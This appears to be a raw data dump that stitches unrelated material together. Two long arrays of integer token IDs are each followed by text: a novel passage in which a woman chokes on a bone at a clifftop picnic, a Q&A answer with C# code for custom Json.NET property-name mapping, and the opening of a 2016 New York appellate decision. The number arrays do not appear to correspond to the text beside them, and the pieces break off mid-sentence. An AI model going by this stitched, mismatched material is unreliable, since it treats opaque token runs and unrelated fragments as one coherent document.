13, 347, 2167, 281, 19031, 187, 12594, 667, 3959, 273, 1361, 15, 50276, 2993, 7428, 1977, 247, 1643, 11433, 8, 4181, 285, 6225, 187, 33681, 253, 6150, 13, 1223, 617, 24835, 3261, 387, 581, 1529, 13, 24152, 187, 2858, 11874, 15, 187, 187, 3, 34, 5961, 2, 50276, 688, 253, 22462, 15, 50276, 510, 795, 56, 31981, 64, 2, 50276, 42, 1833, 1918, 617, 4366, 281, 14, 6170, 15, 187, 64, 37666, 64, 11761, 1476, 187, 187, 3, 1147, 434, 3499, 6992, 49646, 247, 5961, 15, 50276, 42, 858, 352, 2378, 15, 50276, 1147, 369, 17876, 15, 50276, 29859, 187, 4238, 3240, 27185, 449, 187, 187, 6432, 525, 1299, 753, 2717, 15, 50276, 8389, 2927, 497, 4229, 327, 253, 3168, 4677, 18627, 187, 26204, 253, 4797, 13, 327, 253, 13574, 534, 9461, 285, 6497, 15, 50276, 1328, 6898, 247, 187, 48556, 30464, 342, 1824, 285, 2206, 6179, 13, 5253, 275, 1133, 15, 50276, 34, 2774, 4817, 13, 253, 187, 484, 248, 1123, 273, 253, 13574, 3395, 625, 17088, 13, 344, 9461, 34304, 285, 187, 13678, 264, 281, 16211, 17244, 434, 1930, 15, 187, 187, 2993, 12293, 1977, 432, 779, 347, 344, 13781, 13, 34475, 779, 1977, 13, 533, 344, 574, 187, 16564, 617, 2454, 285, 4934, 25060, 327, 15, 187, 187, 3, 9034, 750, 436, 15, 50276, 40, 31709, 352, 2, 50276, 1147, 588, 4459, 352, 1066, 449, 187, 187, 510, 34475, 9881, 42893, 2716, 273, 253, 5558, 13, 344, 8933, 728, 352, 342, 521, 187, 628, 1133, 13, 1223, 703, 49725, 9357, 13, 285, 268, 9581, 13, 285, 49725, 9357, 969, 13, 285, 19460, 187, 348, 6856, 1977, 15, 50276, 510, 5484, 574, 417, 557, 39079, 2400, 253, 5961, 13, 352, 574, 5608, 760, 187, 936, 35007, 253, 9479, 2348, 6345, 15, 187, 187, 6432, 525, 1299, 26282, 896, 281, 253, 2829, 285, 17571, 247, 32163, 273, 10238, 15, 50276, 40, 21100, 293, 187, 395, 46937, 15014, 4618, 14, 26731, 13, 285, 11561, 15, 50276, 9586, 275, 253, 2774, 534, 352, 187, 10178, 2668, 281, 564, 285, 281, 1705, 13, 16211, 17244, 434, 2454, 574, 2668, 247, 12861, 43192, 28, 187, 783, 16109, 6225, 327, 617, 22977, 13, 533, 703, 1160, 247, 9391, 386, 3434, 387, 187, 681, 25909, 13, 6306, 342, 617, 896, 501, 24828, 3531, 281, 617, 24835, 13, 187, 601, 326, 597, 1537, 320, 40335, 253, 8184, 273, 617, 23490, 15, 187, 187, 3, 42, 1849, 3982, 368, 690, 10238, 15, 50276, 2773, 9727, 352, 2223, 672, 1824, 10224, 15, 187, 6892, 88, 352, 323, 247, 2774, 13, 840, 305, 31709, 352, 2644, 15, 50276, 1909, 1943, 247, 5313, 347, 368, 476, 15, 187, 1147, 434, 247, 44397, 5471, 13, 533, 352, 588, 1509, 15, 50276, 34, 1943, 18470, 1024, 2, 1051, 50276, 12455, 8912, 187, 262, 2644, 449, 187, 187, 2993, 48134, 352, 432, 779, 13, 1531, 15416, 352, 275, 617, 6208, 13, 19460, 342, 247, 187, 4774, 326, 369, 38123, 281, 923, 13, 48722, 285, 851, 2147, 13, 285, 41778, 187, 26204, 521, 4430, 15, 50276, 510, 5961, 574, 417, 4395, 15, 187, 187, 4509, 3212, 2210, 247, 23189, 321, 273, 1030, 1808, 318, 15, 50276, 40, 21100, 293, 285, 46937, 22007, 187, 10495, 13, 6789, 562, 13477, 7997, 15, 187, 187, 3, 7673, 1824, 1476, 187, 187, 3, 44, 570, 293, 1066, 28, 23104, 634, 1481, 2, 1051, 50276, 23067, 486, 634, 13386, 15, 50276, 17919, 1066, 4515, 2, 187, 7673, 10238, 28, 305, 31709, 795, 10984, 64, 1476, 187, 187, 42231, 17244, 11372, 731, 8423, 13, 617, 11233, 22627, 896, 432, 617, 9970, 15, 50276, 2993, 187, 21407, 1266, 1070, 281, 3984, 13, 533, 253, 8511, 10788, 7835, 574, 642, 25253, 13, 617, 2927, 187, 9095, 432, 581, 2454, 281, 253, 643, 13, 285, 327, 1016, 347, 703, 3261, 627, 6497, 187, 783, 277, 37567, 273, 32144, 4709, 15, 50276, 3726, 574, 1239, 253, 7075, 275, 16211, 17244, 434, 187, 2653, 265, 13, 253, 1735, 2774, 597, 3047, 352, 6706, 2935, 275, 253, 5982, 12338, 19501, 187, 1171, 617, 509, 3934, 15, 50276, 2993, 642, 3356, 16371, 731, 13, 533, 2210, 37335, 13, 187, 296, 1221, 7695, 562, 617, 3564, 275, 4549, 15, 50276, 10759, 2454, 369, 2502, 285, 278, 1519, 1070, 13, 285, 187, 1344, 606, 600, 13, 3499, 23522, 4391, 15, 187, 187, 40, 21100, 293, 369, 3168, 347, 2929, 13, 533, 703, 4934, 617, 509, 3934, 1805, 685, 253, 187, 23660, 407, 617, 1930, 13, 285, 7560, 275, 11874, 13, 1268, 28232, 15, 187, 187, 3, 42231, 17244, 13, 1611, 13, 795, 14626, 64, 281, 320, 7107, 2, 50276, 1394, 1056, 1841, 7197, 407, 26575, 187, 10383, 15, 50276, 1231, 795, 9846, 64, 1361, 368, 15, 50276, 1147, 588, 320, 512, 987, 15, 50276, 17222, 13383, 187, 17873, 1066, 1051, 50276, 4943, 434, 253, 6016, 273, 619, 7989, 15, 50276, 17222, 326, 15, 50276, 24953, 2, 50276, 37331, 187, 262, 973, 1066, 15, 50276, 4013, 13, 1053, 626, 13, 1053, 626, 1918, 598, 1476, 187, 187, 2214, 846, 581, 18439, 2332, 16211, 17244, 574, 2197, 253, 7989, 24428, 715, 187, 5641, 689, 253, 5024, 273, 253, 28900, 15, 50276, 2214, 247, 2774, 275, 617, 46347, 703, 187, 6204, 264, 21802, 281, 956, 5972, 13, 285, 399, 1351, 4541, 4395, 521, 1899, 187, 601, 347, 281, 1462, 875, 617, 285, 5434, 15, 187, 187, 2347, 1142, 9506, 574, 38667, 1580, 597, 574, 644, 26174, 22813, 327, 253, 187, 34495, 32, 50276, 2598, 1643, 19514, 601, 8483, 4552, 314, 1643, 13, 2568, 2217, 281, 24028, 253, 41128, 187, 28936, 273, 1495, 2, 50276, 3650, 3815, 281, 16211, 17244, 5972, 13, 533, 671, 281, 253, 187, 2435, 1428, 327, 6204, 398, 13, 2210, 1024, 253, 1524, 5837, 326, 436, 7343, 369, 642, 187, 1206, 338, 1981, 9369, 273, 247, 2774, 13, 533, 247, 22072, 6680, 875, 1495, 285, 187, 26975, 15, 50276, 510, 5961, 369, 247, 1048, 581, 13, 45678, 275, 824, 247 ]	oving eyes dwelt lingeringly upon the scene. There was not a human creature in sight; a few white-sailed yachts alone broke the surface of the waters. The soft lap of the waves added to the impression of rest and peace. She lay drinking in the beauty of it, while the final preparations for the meal were being made. In her mind was no prevision that in future years that scene was to be associated in her mind with an extremity of pain and fear, with the dawning of a joy that hurt more sharply than pain. She was conscious only of rest to her tired limbs, of satisfaction to her craving for beauty, acutely conscious of Dane Peignton's presence, as he stood talking to Teresa, helping her to arrange the cushioned seats. For the rest, she was weary and discouraged, and oh! overpoweringly lonely! But nowadays she always felt lonely... The servants pronounced all ready, and retraced their way across the field path. Grizel made a tour of inspection and gave a favourable verdict. "It looks--scrum! Why are stray meals always so much more attractive than proper ones, and why are men so stupid that they can't understand that they are? That's one of the many distinctions between the sexes. All women adore picnics. All men--don't! Why?" "Perhaps," Dane volunteered, seating himself in front of the cloth, in response to a gesture of invitation, "perhaps because--they have longer legs." "Well, you must tuck them up somehow. They can't take up the _whole_ side!" Grizel objected, sinking down in a compact little mass in which her own legs apparently ceased to exist. "Let me see. Where do we begin? Savoury eggs, chicken mayonnaise. We'll start on the eggs as a _hors d'oeuvre_, and dull the first fierceness of our appetites before getting on to the real business.--I hope everyone is hungry. Let's be polite, and eat very slowly to make it last out. It's such a blank feeling at a picnic when the feed's over,--like a wedding when the bride has gone. When we've done, the gulls shall have their turn. _Do_ gulls eat mayonnaise?" Cassandra was conscious of a certain effort in the light babble. She suspected that Grizel was forcing herself to talk, to ease the strain, which like a low rumble of thunder had underlain the peace of the last week. In the midst of her own pain, she felt a pang of regret for her hostess,--a pang of compunction for her own shortcomings. If only Bernard would be induced to return home! but as long as fine weather and good play were his portion, no persuasion would be of any avail. There was nothing for it but to set her teeth and endure, and--incidentally!-- to make things as little trying as possible for other people. She sent a smile across the table to cheer Grizel's heart. "I'm too lazy to be hungry. It seems a waste of time to eat, instead of peacefully feeding one's mind on the beauty of it all. All the same these eggs are mighty good. I wonder how often before tea we shall refer to a painted sail upon a painted ocean." "Yes, but _try_ not!" Grizel pleaded earnestly. She was relieved to see Peignton help himself to a second egg, and consume it with relish; relieved to see Teresa carefully sifting sugar into her lemonade. Such simple, homely acts seemed to keep at bay the creeping dread. It was so easy for Grizel to be happy, to banish fear, and plant hope in its place. She was as quick to pounce upon signs of good, as most people are upon menaces of evil, and Cassandra's smile was sufficient to send her spirits racing upwards. She ate and she talked; few people can do the two things at one time with out neglecting one or the other, but Grizel came triumphantly through the ordeal, keeping her listeners in a gentle ripple of laughter, and demanding nothing of them but an occasional word of response. Then in the middle of a complicated sentence she stopped, and looked sharply at her friend. "What's the matter?" Cassandra rose with a hasty movement, struggled to speak, and pointed to her throat. "A... bone... Don't!" The "Don't" was accompanied by a gesture of the arm, as though to thrust away any offer of help. She walked away a few yards' distance and stood facing the sea, while her companions looked at one another, sympathetic but calm. "A bone! In the salad. The _Wretch_! I'll give her notice to-night. _Poor_ dear!" "It's horrid swallowing a bone. I did it once. It was rabbit. Mother was quite frightened." Peignton said nothing. His eyes were fixed on the white figure outlined against the blue, on the shoulders which rose and fell. He filled a tumbler with water and sat waiting, glass in hand. A moment passed, the upheave of the shoulders became more pronounced, he rose swiftly and walked to Cassandra's side. She stepped away from him as he approached, waving him away, but he had seen her face and kept steadily on. "Drink this. Gulp it! It will carry it down." The waving fingers spilled half of the liquid, he steadied it with his own hand, while she gulped, and panted, and gulped again, and struggled choking away. The drink had not dislodged the bone, it had served only to hinder the sharpened breath. Peignton hurried back to the table and seized a lump of bread. Grizel and Teresa stared wide-eyed, and silent. Even in the moment which it had taken to go and to come, Cassandra's face had taken a deeper hue; the damp stood on her forehead, but she made a gallant effort at composure, standing with her back resolutely turned to her companions, so that they might be spared the sight of her struggles. "I've brought you some bread. That moves it often when water fails. Chew it for a moment, then gulp it whole. As big a piece as you can. It's a wretched feeling, but it will pass. A big bite now!... Swallow it whole." She snatched it from him, crammed it in her mouth, struggled with a force that was frightening to see, choked and retched, and staggered against his arm. The bone had not moved. From behind came a murmur of consternation. Grizel and Teresa swept forward, calling out confused instructions. "More water!" "Kneel down; bend your head!... Massage your throat. Press downwards! More bread; gulp _hard_!" Cassandra faced them suddenly, her lips curved back from her teeth. She struggled to speak, but the hoarse sounds had no coherence, her eyes rolled from one face to the other, and on each as she looked there fell the dawning of mortal fear. They had read the terror in Cassandra's eyes, the next moment they saw it afresh in the sudden violent breakdown of her composure. She no longer avoided them, but came nearer, stretching out her hands in appeal. Her face was red and mottled, and strangely, horribly changed. Grizel was white as paper, but she kept her composure better than the girl by her side, and spoke in calm, level tones. "Cassandra, try, _try_ to be quiet! You make things worse by rushing about. We _will_ help you. It will be all right. Try pushing something down... Here's the handle of my fan. Try that. Hard! Push it well down. Oh, don't, don't give up!" For after one desperate trial Cassandra had sent the fan spinning into space over the edge of the cliff. For a moment in her desperation she looked inclined to follow herself, and Dane quickly moved his position so as to stand between her and danger. How many moments had elapsed since they had been happily seated on the grass? So few,--so pitifully few, yet enough to wreck the exquisite machine of life! Not alone to Cassandra herself, but also to the anguished onlookers, came now the realisation that this accident was no trifling happening of a moment, but a grim battle between life and death. The bone was a long one, lodged in such a
[ 187, 50262, 9739, 19805, 64, 39835, 64, 32969, 42410, 9739, 1163, 4890, 67, 606, 9739, 187, 50266, 94, 187, 50270, 62, 3664, 535, 50270, 2765, 29, 3220, 4947, 31, 1618, 426, 34124, 15566, 15, 4476, 44350, 4241, 29, 2765, 29, 3220, 4947, 5064, 9, 8456, 558, 535, 50270, 26966, 313, 3220, 4947, 278, 68, 275, 1618, 10, 187, 50270, 92, 187, 50266, 35184, 15, 33626, 9, 17475, 15, 3220, 8324, 558, 187, 50266, 35184, 15, 33626, 9, 17475, 15, 3220, 8665, 8324, 558, 187, 50270, 94, 187, 50274, 94, 187, 94, 187, 187, 11021, 27, 187, 12110, 187, 2009, 187, 31953, 187, 371, 2310, 187, 71, 11114, 187, 67, 606, 187, 187, 6175, 436, 2900, 943, 513, 253, 2628, 275, 954, 2219, 13, 627, 310, 271, 1014, 19554, 2900, 604, 368, 403, 10826, 342, 253, 2934, 273, 6890, 253, 34124, 15, 8695, 2603, 2127, 3587, 15, 50276, 1147, 7819, 562, 368, 476, 14294, 253, 1072, 2181, 407, 6240, 816, 581, 1386, 273, 2127, 281, 253, 19608, 5530, 15, 17219, 15, 17299, 1320, 15, 17219, 8324, 16687, 966, 15, 50276, 688, 436, 966, 13, 627, 310, 247, 1332, 1925, 5057, 2019, 375, 383, 21008, 8324, 1082, 534, 4453, 751, 436, 27, 187, 4387, 34124, 8324, 5057, 2019, 375, 383, 21008, 8324, 9, 2703, 2867, 2402, 10, 187, 92, 187, 50274, 17219, 8324, 2867, 426, 5057, 8324, 9, 9134, 2402, 13, 4605, 23648, 15, 45435, 989, 558, 187, 50274, 338, 313, 9134, 2295, 3635, 10, 187, 50270, 9134, 426, 5057, 8324, 9, 9134, 2402, 13, 4605, 23648, 15, 45435, 989, 36142, 11247, 558, 535, 50274, 2309, 2867, 28, 187, 94, 187, 187, 3404, 253, 1127, 835, 436, 1332, 310, 1925, 407, 253, 711, 30941, 6081, 13, 253, 34124, 8324, 16687, 4428, 512, 253, 3607, 432, 253, 966, 1146, 711, 30941, 1025, 13, 285, 253, 2867, 2402, 4764, 4428, 253, 1416, 273, 253, 13922, 2867, 1416, 1146, 13373, 15, 50276, 1909, 368, 476, 923, 13, 253, 1332, 806, 14177, 271, 3242, 1416, 3761, 13, 840, 352, 14177, 247, 1083, 14, 968, 18917, 3761, 15, 50276, 2598, 359, 2168, 452, 247, 1142, 14, 936, 14, 531, 10603, 1146, 2218, 875, 253, 13922, 285, 966, 2867, 4454, 15, 50276, 187, 2042, 368, 10007, 436, 1332, 281, 11705, 562, 512, 1327, 14, 267, 15671, 360, 6555, 5810, 432, 253, 2867, 1416, 2720, 281, 11038, 352, 13, 840, 368, 476, 755, 253, 3879, 368, 8327, 13, 1293, 667, 2714, 5975, 1336, 390, 12474, 3058, 15, 50276, 4943, 310, 253, 7321, 2127, 27, 187, 4387, 34124, 8324, 5057, 2019, 375, 383, 21008, 8324, 9, 2703, 2867, 2402, 10, 187, 92, 187, 50274, 9134, 2402, 426, 1720, 12631, 15, 34435, 9, 9134, 2402, 13, 346, 5180, 34, 14, 49275, 14, 91, 17, 14, 26, 20871, 995, 346, 3287, 187, 50274, 17219, 8324, 2867, 426, 5057, 8324, 9, 9134, 2402, 13, 4605, 23648, 15, 45435, 989, 558, 187, 50274, 338, 313, 9134, 2295, 3635, 10, 187, 50270, 9134, 426, 5057, 8324, 9, 9134, 2402, 13, 4605, 23648, 15, 45435, 989, 36142, 11247, 558, 535, 50274, 2309, 2867, 28, 187, 94, 187, 187, 4527, 2282, 13, 26264, 253, 2603, 2127, 556, 697, 3237, 347, 973, 13, 533, 309, 15433, 352, 369, 4409, 247, 3748, 15, 187, 187, 34, 27, 187, 187, 8195, 1039, 273, 7576, 3647, 436, 310, 22548, 272, 253, 10382, 1320, 16, 3229, 30941, 1320, 1232, 2393, 13, 407, 2509, 690, 17797, 1487, 253, 34124, 15283, 285, 34124, 16978, 187, 4387, 966, 12047, 17219, 16978, 1163, 34124, 4312, 16978, 187, 92, 187, 50274, 9486, 30261, 26372, 29, 2703, 13, 2876, 31, 795, 2135, 1034, 46, 33650, 28, 535, 50274, 4387, 12047, 17219, 16978, 9, 4312, 16978, 8406, 13, 26372, 29, 2703, 13, 2876, 31, 19265, 46, 33650, 10, 187, 50270, 27, 2613, 9, 16360, 10, 187, 50274, 92, 187, 50270, 64, 2135, 1034, 46, 33650, 426, 19265, 46, 33650, 28, 187, 50274, 94, 535, 50274, 4387, 12970, 2991, 19566, 8324, 2402, 9, 2703, 1416, 10, 187, 50274, 92, 187, 50270, 4793, 15, 10639, 8324, 2402, 10107, 2135, 1034, 46, 33650, 60, 1590, 9259, 187, 50274, 94, 187, 94, 187, 187, 4387, 966, 12047, 17219, 15283, 1163, 34124, 4312, 15283, 187, 92, 187, 50274, 9486, 30261, 26372, 29, 2703, 13, 2876, 31, 795, 10495, 46, 33650, 28, 535, 50274, 4387, 12047, 17219, 15283, 9, 4312, 15283, 9414, 13, 26372, 29, 2703, 13, 2876, 31, 3579, 46, 33650, 2387, 187, 50270, 27, 2613, 9, 28011, 10, 187, 50274, 92, 187, 50270, 64, 10495, 46, 33650, 426, 3579, 46, 33650, 28, 187, 50274, 94, 535, 50274, 4387, 12970, 1789, 11740, 187, 50274, 92, 187, 50270, 788, 187, 50270, 92, 187, 50266, 338, 313, 11200, 2548, 3613, 34124, 11200, 15, 8324, 2402, 10, 187, 50262, 2309, 2613, 15, 3902, 28, 535, 50266, 2309, 795, 10495, 46, 33650, 60, 4793, 15, 3902, 15, 21395, 1082, 2194, 187, 50270, 94, 187, 50274, 94, 187, 94, 187, 187, 4553, 2509, 436, 13, 368, 476, 10382, 907, 407, 2509, 187, 2044, 42794, 426, 747, 26372, 29, 2703, 13, 2876, 31, 187, 92, 187, 50274, 9819, 8324, 18, 995, 346, 7008, 22809, 18, 4982, 187, 50274, 9819, 8324, 19, 995, 346, 7008, 22809, 19, 4982, 187, 4718, 187, 2044, 22074, 426, 747, 50233, 1874, 187, 17219, 31703, 15, 9395, 5023, 6075, 14531, 9, 1826, 12047, 17219, 16978, 9, 1826, 4605, 16978, 9, 27136, 582, 42794, 582, 634, 64, 6082, 558, 187, 187, 395, 711, 44350, 407, 2509, 209, 187, 2044, 42794, 426, 747, 26372, 29, 2703, 13, 2876, 31, 187, 92, 187, 50274, 9819, 7008, 22809, 18, 995, 346, 8324, 18, 4982, 187, 50274, 9819, 7008, 22809, 19, 995, 346, 8324, 19, 4982, 187, 4718, 187, 2044, 40377, 15283, 426, 747, 12047, 17219, 15283, 9, 1826, 4605, 15283, 9, 8456, 2776, 582, 42794, 558, 187, 2044, 634, 64, 6082, 426, 34124, 31703, 15, 9395, 5023, 4476, 44350, 29, 7093, 64, 2548, 8743, 10134, 15283, 558, 535, 4888, 187, 8836, 362, 418, 47989, 9609, 79, 313, 6961, 10310, 7335, 532, 12605, 470, 1619, 3712, 10, 15971, 4888, 535, 187, 8836, 362, 418, 47989, 9609, 79, 535, 187, 6961, 10310, 7335, 532, 12605, 470, 1619, 3712, 535, 187, 34038, 327, 4162, 2145, 13, 4022, 535, 187, 2946, 23769, 9333, 13, 6347, 4487, 535, 187, 32963, 407, 1457, 2816, 2418, 5405, 40283, 15904, 10376, 281, 42591, 5405, 3015, 37397, 15, 535, 187, 1552, 4743, 310, 41656, 18685, 285, 2256, 281, 18520, 1078, 9311, 275, 253, 23607, 27241, 15, 2756, 190, 187, 34038, 327, 4162, 2145, 13, 4022, 190, 187, 6971, 14364, 5288, 14732, 3481, 3003, 26090, 3481, 22428, 44138, 190, 187, 2946, 23769, 9333, 13, 6347, 32665, 4487, 4888, 187, 45, 15, 4653, 1830, 7142, 2293, 34, 388, 5626, 13, 500, 15, 49, 15, 190, 187, 1843, 1139, 10449, 378, 15, 329, 11533, 1042, 190, 187, 51, 9324, 6366, 500, 15, 353, 10592, 947, 190, 187, 14305, 17173, 5236, 473, 15, 388, 1042, 5942, 14, 42318, 10569, 13, 25544, 15, 15971, 187, 7857, 14, 12971, 1619, 2379, 313, 8207, 15, 1621, 15, 721, 27820, 16, 2904, 10, 4888, 187, 20197, 18, 62, 510, 6491, 273, 253, 2418, 273, 1457, 2816, 13, 15587, 13, 20434, 187, 87, 13238, 12679, 418, 47989, 9609, 79, 13, 7048, 15, 190, 535, 187, 13238, 12679, 418, 47989, 9609, 79, 13, 9916, 19901, 13, 10310, 13, 7048, 354, 396, 15, 187, 45395, 678, 367, 15, 16647, 13, 4412, 10158, 13, 21249, 13, 10310, 313, 44514, 472, 21591, 26617, 285, 24035, 399, 24361, 273, 5067, 582, 323, 15587, 15, 187, 45, 38051, 411, 15, 418, 15, 15404, 26512, 13, 1457, 2816, 13, 10310, 313, 40805, 367, 677, 2788, 23187, 273, 5067, 582, 3438, 16939, 5067, 15, 187, 187, 34246, 34316, 708, 19140, 187, 12332, 407, 253, 7048, 323, 247, 2416, 273, 2228, 944, 312, 642, 24000, 281, 33085, 13, 327, 253, 3216, 273, 18860, 8385, 273, 16939, 5067, 13, 247, 3061, 285, 1340, 273, 436, 2111, 15483, 4565, 608, 13, 4050, 313, 8836, 362, 418, 47989, 9609, 79, 13, 8437, 5446, 20, 69, 818, 3712, 582, 8925, 271, 4549, 432, 247, 3883, 273, 253, 6413, 2111, 13, 20567, 3928, 13, 13697, 4437, 3307, 13, 4748, 15, 187, 24066, 1703, 326, 253, 2898, 310, 5868, 15, 187, 510, 7048, 556, 4242, 281, 5100, 326, 344, 369, 5868, 253, 3576, 8385, 273, 16939, 5067, 313, 2887, 8302, 362, 28852, 13, 41368, 1982, 818, 1857, 28, 6491, 362, 659, 38085, 13, 374, 10310, 20, 69, 28043, 481, 187, 41, 5626, 13, 500, 15, 49, 904, 329, 11533, 1042, 13, 353, 10592, 947, 285, 388, 1042, 5942, 14, 42318, 10569, 13, 25544, 904, 15038, 15, 190, 187, 37389, 27, 190, 187, 19591, 17416, 3419, 493, 2610, 187, 2019, 9314, 273, 253, 2111, 2756, 510, 3688, 7033, 281, 11744, 39063, 13, 285, 13, 625, 3782, 13, 281, 253, 5864, 875, 247, 6109, 4660, 285, 9617, 3904, 15, 187, 510, 897, 273, 6109, 39063, 2718, 13, 1690, 7842, 4014, 15791, 285, 3367, 10924, 3238, 313, 5077, 52, 582, 556, 2326, 26660, 3116, 13, 3782, 275, 253, 2469, 9976, 15, 380, 897, 273, 6109, 13, 390, 7842, 13, 4014, 15791, 556, 2489, 594, 47817, 326, 352, 310, 417, 11555, 281, 923, 952, 5636, 272, 327, 253, 11265, 347, 597, 2940, 2112, 253, 33619, 13, 347, 597, 4446, 13, 1014, 347, 597, 8041, 247, 12699, 390, 247, 1132, 15, 187, 1773, 26743, 6109, 39063, 3238, 2126, 247, 6109, 8137, 1180, 313, 17258, 10, 323, 19676, 13, 323, 15056, 13, 285, 323, 1142, 643, 5871, 15, 1723, 13, 253, 6109, 8137, 1180, 556, 11464, 18766, 323, 11762, 4893, 15, 13162, 13, 2718, 403, 1146, 3715, 534, 2126, 271, 5213, 6109, 30710, 6489, 313, 2894, 5824, 10, 326, 588, 1581, 6109, 39063, 4095, 281, 10196, 22595, 13102, 4768, 253, 1533, 15, 2058, 690, 1127, 13, 672, 309, 3338, 42, 4095, 403, 5611, 627, 588, 320, 247, 5878, 273, 4095, 6498, 275, 253, 1673, 28, 690, 6109, 4095, 588, 2126, 247, 6109, 8137, 1180, 13, 690, 588, 2126, 271, 5213, 6109, 30710, 6489, 326, 310, 1754, 327, 247, 625, 6041, 6109, 8137, 1180, 13, 285, 690, 588, 2126, 12762, 19, 89, 1438, 89, 26, 7693, 459, 7096, 19, 89, 1438, 89, 26, 69, 309, 3338, 42, 3904, 15, 187, 10457, 253, 1232, 273, 14631, 13, 390, 12762, 19, 89, 1438, 89, 26, 291, 693, 8779, 247, 11265, 1067, 313, 4609, 778, 6388, 253, 6322, 273, 4318, 13, 941, 13, 390, 1097, 10, 326, 8687, 247, 6109, 4660, 13, 247, 11744, 985, 26624, 247, 9617, 1180, 342, 253, 21674, 313, 17258, 390, 309, 3338, 42, 481, 329, 6041, 11744, 985, 778, 4657, 253, 6109, 3943, 9739, 84, 8137, 16, 26758, 1180, 5864, 1491, 275, 253, 6109, 3943, 9739, 84, 1728, 4328, 8749, 313, 41, 8720, 481, 7214, 581, 9617, 1180, 310, 2330, 342, 247, 1677, 6109, 21674, 15, 831, 12400, 7787, 253, 15840, 342, 534, 247, 6109, 3943, 778, 320, 908, 285, 7787, 253, 2491, 273, 3238, 247, 6109, 39063, 2579, 11716, 778, 3959, 281, 271, 990, 14, 4537, 15, 187, 34, 6109, 39063, 985, 275, 8956, 342, 253, 9241, 273, 253, 1246, 3688, 3797, 5447, 12028, 326, 15629, 253, 21674, 273, 247, 6109, 3943, 13, 534, 812, 320, 247, 7842, 11265, 390, 247, 3367, 10924, 2579, 313, 5077, 52, 10, 2813, 13, 342, 247, 11234, 273, 9617, 3904, 15, 380, 6109, 3943, 21674, 778, 320, 247, 6109, 8137, 1180, 313, 17258, 10, 390, 5213, 6109, 2579, 21674, 313, 2894, 5824, 582, 323, 1650, 15, 380, 985, 778, 4657, 436, 5864, 1561, 247, 1728, 4328, 8749, 313, 41, 8720, 582, 1561, 247, 6109, 12797, 4055, 313, 31014, 582, 390, 275, 1097, 15, 496, 253, 1232, 273, 38915, 247, 11265, 1067, 253, 985, 27532, 25702, 1491, 281, 3653, 534, 273, 253, 11234, 273, 9617, 3904, 2330, 342, 253, 6109, 3943, 9739, 84, 6109, 21674, 310, 281, 320, 7091, 323, 253, 6378, 273, 253, 11265, 1067, 1146, 19344, 15, 380, 25702, 1491, 778, 320, 253, 1655, 4328, 273, 253, 6109, 3943, 13, 323, 1650, 15, 496, 824, 271, 14704, 13, 581, 9617, 1180, 778, 320, 7091, 281, 24174, 247, 11265, 1067, 1561, 581, 23365, 2170, 13, 1529, 9617, 1180, 778, 320, 7091, 281, 24174, 247, 11265, 1067, 1561, 247, 1027, 23365, 2170, 13, 285, 594, 327, 15, 13773, 3238, 285, 7911, 778, 840, 320, 2330, 342, 1016, 9617, 1180, 13, 285, 13, 21719, 13, 342, 25702, 1491, 13, 824, 347, 253 ]	""MY_OTHER_PROPERTY"" : ""bang"" } ]"; List<MyClass> list = JsonConvert.DeserializeObject<List<MyClass>>(json); foreach (MyClass mc in list) { Console.WriteLine(mc.MyProperty); Console.WriteLine(mc.MyOtherProperty); } } } Output: foo bar baz quux fizz bang While this solution should do the job in most cases, there is an even simpler solution if you are OK with the idea of changing the Json.Net source code directly. It turns out you can accomplish the same thing by adding just one line of code to the Newtonsoft.Json.Serialization.JsonPropertyCollection class. In this class, there is a method called GetClosestMatchProperty() which looks like this: public JsonProperty GetClosestMatchProperty(string propertyName) { JsonProperty property = GetProperty(propertyName, StringComparison.Ordinal); if (property == null) property = GetProperty(propertyName, StringComparison.OrdinalIgnoreCase); return property; } At the point where this method is called by the deserializer, the JsonPropertyCollection contains all the properties from the class being deserialized, and the propertyName parameter contains the name of the JSON property name being matched. As you can see, the method first tries an exact name match, then it tries a case-insensitive match. So we already have a many-to-one mapping being done between the JSON and class property names. If you modify this method to strip out all non-alphanumeric characters from the property name prior to matching it, then you can get the behavior you desire, without any special converters or attributes needed. Here is the modified code: public JsonProperty GetClosestMatchProperty(string propertyName) { propertyName = Regex.Replace(propertyName, "[^A-Za-z0-9]+", ""); JsonProperty property = GetProperty(propertyName, StringComparison.Ordinal); if (property == null) property = GetProperty(propertyName, StringComparison.OrdinalIgnoreCase); return property; } Of course, modifying the source code has its problems as well, but I figured it was worth a mention. A: Another way of accomplishing this is intercepting the serialization/deserialization process early, by doing some overrides the JsonReader and JsonWriter public class CustomJsonWriter : JsonTextWriter { private readonly Dictionary<string, string> _backwardMappings; public CustomJsonWriter(TextWriter writer, Dictionary<string, string> backwardMappings) : base(writer) { _backwardMappings = backwardMappings; } public override void WritePropertyName(string name) { base.WritePropertyName(_backwardMappings[name]); } } public class CustomJsonReader : JsonTextReader { private readonly Dictionary<string, string> _forwardMappings; public CustomJsonReader(TextReader reader, Dictionary<string, string> forwardMappings ) : base(reader) { _forwardMappings = forwardMappings; } public override object Value { get { if (TokenType!= JsonToken.PropertyName) return base.Value; return _forwardMappings[base.Value.ToString()]; } } } After doing this, you can serialize by doing var mappings = new Dictionary<string, string> { {"Property1", "Equivalent1"}, {"Property2", "Equivalent2"}, }; var builder = new StringBuilder(); JsonSerializer.Create().Serialize(new CustomJsonWriter(new StringWriter(builder), mappings), your_object); and deserialize by doing var mappings = new Dictionary<string, string> { {"Equivalent1", "Property1"}, {"Equivalent2", "Property2"}, }; var txtReader = new CustomJsonReader(new StringReader(jsonString), mappings); var your_object = JsonSerializer.Create().Deserialize<Your_Type>(txtReader); People v Llewellyn (2016 NY Slip Op 02851) People v Llewellyn 2016 NY Slip Op 02851 Decided on April 13, 2016 Appellate Division, Second Department Published by New York State Law Reporting Bureau pursuant to Judiciary Law § 431. This opinion is uncorrected and subject to revision before publication in the Official Reports. Decided on April 13, 2016 SUPREME COURT OF THE STATE OF NEW YORK Appellate Division, Second Judicial Department L. PRISCILLA HALL, J.P. LEONARD B. AUSTIN ROBERT J. MILLER SYLVIA O. HINDS-RADIX, JJ. 2009-10628 (Ind. No. 6809/08) [*1]The People of the State of New York, respondent, vChristopher Llewellyn, appellant. Christopher Llewellyn, Romulus, NY, appellant pro se. Kenneth P. Thompson, District Attorney, Brooklyn, NY (Leonard Joblove and Keith Dolan of counsel), for respondent. Lynn W. L. Fahey, New York, NY (Anna Pervukhin of counsel), former appellate counsel. DECISION & ORDER Application by the appellant for a writ of error coram nobis to vacate, on the ground of ineffective assistance of appellate counsel, a decision and order of this Court dated December 5, 2012 (People v Llewellyn, 101 AD3d 751), determining an appeal from a judgment of the Supreme Court, Kings County, rendered October 22, 2009. 